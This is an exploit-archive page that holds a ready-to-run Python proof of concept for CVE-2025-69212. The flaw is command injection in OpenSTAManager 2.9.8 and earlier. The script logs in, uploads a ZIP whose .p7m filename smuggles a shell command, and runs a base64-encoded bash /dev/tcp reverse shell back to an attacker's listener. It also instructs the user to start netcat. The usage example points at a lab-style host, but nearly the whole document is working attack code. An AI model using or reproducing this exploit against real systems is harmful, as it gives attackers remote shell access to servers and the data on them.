5692 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2025-69212.py PY
#!/usr/bin/env python3
"""
CVE-2025-69212 - OpenSTAManager <= 2.9.8 OS Command Injection → Reverse Shell
GHSA-25fp-8w8p-mx36

Fix: Upload runs in a daemon thread — reverse shell holds the HTTP connection
     open (bash is blocking), so we never wait for a response. Script exits
     cleanly after firing the payload.

Usage:
    python3 CVE-2025-69212.py -u http://support_001.enigma.htb -U admin -P 'pass' --lhost 10.10.15.90 --lport 9001
"""

import requests
import argparse
import zipfile
import base64
import threading
import io
import sys
import time
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def banner():
    print("\nCVE-2025-69212 | OpenSTAManager <= 2.9.8 | OS Command Injection")
    print("GHSA-25fp-8w8p-mx36 | src/Util/XML.php exec() unsanitized P7M filename\n")

# Login
def login(base_url, username, password, proxies=None):
    session = requests.Session()
    login_url = f"{base_url}/index.php?op=login"
    print(f"[*] Logging in as {username} ...")
    r = session.post(login_url,
                     data={"username": username, "password": password},
                     verify=False, allow_redirects=True,
                     proxies=proxies, timeout=20)
    if "logout" in r.text.lower() or "op=login" not in r.url:
        print("[+] Login successful!")
        return session
    print("[-] Login failed.")
    sys.exit(1)

# ZIP Builder 
def build_zip(command):
    """
    Malicious ZIP with injected .p7m filename.
    """
    malicious_name = f'invoice.p7m";{command};echo ".p7m'
    print("[*] Building malicious ZIP ...")
    print(f"    Filename  : {malicious_name}")

    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
        zf.writestr(malicious_name, b"DUMMY_P7M_CONTENT")
    buf.seek(0)
    return buf.read()

# Upload (fires in background thread)
def _do_upload(session, url, zip_bytes, proxies):
    try:
        session.post(
            url,
            files={"blob1": ("exploit.zip", zip_bytes, "application/zip")},
            data={"op": "save", "id_module": "14", "id_plugin": "48"},
            verify=False, proxies=proxies,
            timeout=None
        )
    except Exception:
        pass

def fire_payload(session, base_url, zip_bytes, proxies=None):
    url = f"{base_url}/actions.php"
    print(f"[*] Sending payload to {url} ...")

    t = threading.Thread(
        target=_do_upload,
        args=(session, url, zip_bytes, proxies),
        daemon=True
    )
    t.start()

    time.sleep(3)
    print("[+] Payload fired! (connection held open by bash — that's expected)")

# Main 
def main():
    banner()

    parser = argparse.ArgumentParser(
        description="CVE-2025-69212 OpenSTAManager OS Command Injection -> Reverse Shell"
    )
    parser.add_argument("-u",  "--url",      required=True,  help="Target base URL")
    parser.add_argument("-U",  "--username", required=True,  help="Username")
    parser.add_argument("-P",  "--password", required=True,  help="Password")
    parser.add_argument("--lhost",           required=True,  help="Your IP for reverse shell")
    parser.add_argument("--lport",           required=True,  type=int, help="Your port for reverse shell")
    parser.add_argument("--proxy",           help="HTTP proxy (e.g. http://127.0.0.1:8080)")
    args = parser.parse_args()

    base_url = args.url.rstrip("/")
    proxies  = {"http": args.proxy, "https": args.proxy} if args.proxy else None

    revshell = f"bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1"
    b64      = base64.b64encode(revshell.encode()).decode()
    command  = f"echo {b64}|base64 -d|bash"

    print("--------------------------------------------------------")
    print("  REVERSE SHELL")
    print("--------------------------------------------------------")
    print(f"    LHOST   : {args.lhost}")
    print(f"    LPORT   : {args.lport}")
    print(f"    Payload : {revshell}")
    print(f"\n    [!] Make sure your listener is running: nc -lvnp {args.lport}\n")

    print("--------------------------------------------------------")
    print("  EXPLOITATION")
    print("--------------------------------------------------------")

    session   = login(base_url, args.username, args.password, proxies)
    zip_bytes = build_zip(command)

    fire_payload(session, base_url, zip_bytes, proxies)

    print("\n[+] Check your nc listener for a shell!")
    print(f"\n[+] Done.\n")

if __name__ == "__main__":
    main()